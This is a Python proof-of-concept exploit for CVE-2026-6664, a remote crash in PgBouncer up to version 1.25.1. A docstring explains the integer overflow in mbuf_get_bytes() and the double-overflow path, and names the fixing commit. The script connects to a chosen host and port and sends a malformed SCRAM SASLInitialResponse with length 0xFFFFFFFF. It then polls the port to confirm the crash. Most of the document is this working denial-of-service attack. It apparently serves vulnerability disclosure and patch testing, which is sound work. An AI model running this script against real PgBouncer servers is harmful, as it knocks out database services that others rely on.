#!/usr/bin/env python3 """ CVE-2026-6664 PoC — PgBouncer crash via integer overflow in mbuf_get_bytes() Affected : PgBouncer <= 1.25.1 Fixed in : 1.25.2 (commit ddc63c2175825bca9ef3c0a528280acaad76dbaa) Root cause ---------- In lib/usual/mbuf.h the bounds check reads: if (buf->read_pos + len > buf->write_pos) // BUG: 32-bit unsigned overflow Since read_pos / write_pos / len are all `unsigned` (32-bit), the sum wraps. The fix changes it to subtraction form: if (len > buf->write_pos - buf->read_pos) // SAFE Attack path (double integer overflow) -------------------------------------- Client → PgBouncer SASLInitialResponse ('p' message) parsing in client.c: mbuf_get_string (&pkt->data, &mech) // "SCRAM-SHA-256\\0" → read_pos = 14 mbuf_get_uint32be(&pkt->data, &length) // attacker-controlled → read_pos = 18 mbuf_get_bytes (&pkt->data, length, &data) ← OVERFLOW 1 With length = 0xFFFFFFFF (uint32_t): 18 + 0xFFFFFFFF = 0x100000011 mod 2^32 = 17 write_pos = 22 → 17 > 22 is FALSE → bounds check bypassed ✓ scram_client_first(client, 0xFFFFFFFF, data) called (client.c:1112-1115): ibuf = malloc(datalen + 1); ← OVERFLOW 2: uint32(0xFFFFFFFF+1) = 0 → malloc(0) → non-NULL memcpy(ibuf, data, datalen); ← reads 4 GB from 4-byte packet buffer → SIGSEGV (exit 139) Usage ----- python3 poc.py [host] [port] python3 poc.py 127.0.0.1 6432 # host (pgbouncer exposed on 6432) python3 poc.py pgbouncer 5432 # inside docker-compose network """ import socket, struct, sys, time HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 6432 USER = 'testuser' DB = 'testdb' # ── Protocol helpers ────────────────────────────────────────────────────────── def pack_msg(mtype: bytes, body: bytes) -> bytes: return mtype + struct.pack('>I', len(body) + 4) + body def send_startup(sock, user: str, db: str): params = b'user\x00' + user.encode() + b'\x00database\x00' + db.encode() + b'\x00\x00' body = struct.pack('>I', 196608) + params # protocol 3.0 sock.sendall(struct.pack('>I', len(body) + 4) + body) def recv_msg(sock): hdr = b'' while len(hdr) < 5: chunk = sock.recv(5 - len(hdr)) if not chunk: raise EOFError("connection closed") hdr += chunk mtype = hdr[0:1] length = struct.unpack('>I', hdr[1:5])[0] body = b'' want = length - 4 while len(body) < want: chunk = sock.recv(want - len(body)) if not chunk: raise EOFError("connection closed mid-message") body += chunk return mtype, body def wait_for_port(host, port, retries=30, delay=2): for i in range(retries): try: s = socket.create_connection((host, port), timeout=2) s.close() return True except OSError: print(f" waiting for {host}:{port} ({i+1}/{retries})...") time.sleep(delay) return False # ── Exploit ─────────────────────────────────────────────────────────────────── def exploit(): print(f"[*] CVE-2026-6664 — targeting {HOST}:{PORT}") if not wait_for_port(HOST, PORT): sys.exit(f"[-] {HOST}:{PORT} unreachable after retries") sock = socket.create_connection((HOST, PORT), timeout=10) print("[*] connected — sending startup message") send_startup(sock, USER, DB) while True: mtype, body = recv_msg(sock) if mtype == b'R': auth_type = struct.unpack('>I', body[:4])[0] if auth_type == 10: # AuthenticationSASL print("[+] AuthenticationSASL received — SCRAM path confirmed") break if auth_type == 0: sys.exit("[-] AuthOK (no SCRAM) — set auth_type=scram-sha-256 in pgbouncer.ini") elif mtype == b'E': err = body.decode(errors='replace') sys.exit(f"[-] backend error: {err[:200]}") # ── Build malformed SASLInitialResponse ─────────────────────────────────── # # Buffer layout when mbuf_get_bytes is called (read_pos = 18): # bytes 0–13 "SCRAM-SHA-256\0" (consumed by mbuf_get_string) # bytes 14–17 (consumed by mbuf_get_uint32be) # bytes 18–21 actual_data (only 4 real bytes) # # Overflow 1 — mbuf bounds check bypass (client.c:1336): # read_pos=18, len=0xFFFFFFFF → 18+0xFFFFFFFF = 0x100000011 mod 2^32 = 17 # write_pos=22 → 17 > 22 is FALSE → check bypassed ✓ # # Overflow 2 — malloc size wraps to 0 (client.c:1112): # datalen=0xFFFFFFFF (uint32_t) → datalen+1 wraps to 0 in 32-bit → malloc(0) # glibc malloc(0) returns non-NULL unique pointer # # Crash — memcpy reads 4 GB from 4-byte buffer (client.c:1115): # memcpy(ibuf, data, 0xFFFFFFFF) — source has only 4 bytes before unmapped pages # → SIGSEGV (exit 139) OVERFLOW_LEN = 0xFFFFFFFF # double overflow: bypasses bounds check AND wraps malloc size to 0 actual_data = b'n,,n' # 4 bytes; makes write_pos=22 > 17 (wrapped bound check result) mechanism = b'SCRAM-SHA-256\x00' sasl_body = mechanism + struct.pack('>I', OVERFLOW_LEN) + actual_data print(f"[*] sending malformed SASLInitialResponse:") print(f" claimed sasl len : 0x{OVERFLOW_LEN:08X} ({OVERFLOW_LEN})") wrapped_check = (18 + OVERFLOW_LEN) & 0xFFFFFFFF print(f" bounds bypass : read_pos(18) + 0x{OVERFLOW_LEN:08X} = {wrapped_check} mod 2^32 < write_pos(22) → bypassed") print(f" malloc size wrap : uint32(0xFFFFFFFF + 1) = 0 → malloc(0) → non-NULL") print(f" crash : memcpy(ibuf, data, 0xFFFFFFFF) reads 4 GB from 4-byte source → SIGSEGV") sock.sendall(pack_msg(b'p', sasl_body)) try: sock.settimeout(10) mtype, body = recv_msg(sock) print(f"[!] unexpected response type={mtype!r}: {body[:80]!r}") except (EOFError, ConnectionResetError, BrokenPipeError): print("[+] connection reset — crash in progress") except socket.timeout: print("[?] timeout — pgbouncer stuck in memcpy (OOM or slow crash)") finally: sock.close() print("[*] waiting for pgbouncer to die...") for i in range(15): time.sleep(1) try: s2 = socket.create_connection((HOST, PORT), timeout=2) s2.close() print(f" still alive ({i+1}s)...") except OSError: print(f"[+] CRASH CONFIRMED (exit 139 / SIGSEGV) — pgbouncer down after {i+1}s") return print("[!] pgbouncer survived — check system overcommit / memory limits") if __name__ == '__main__': exploit()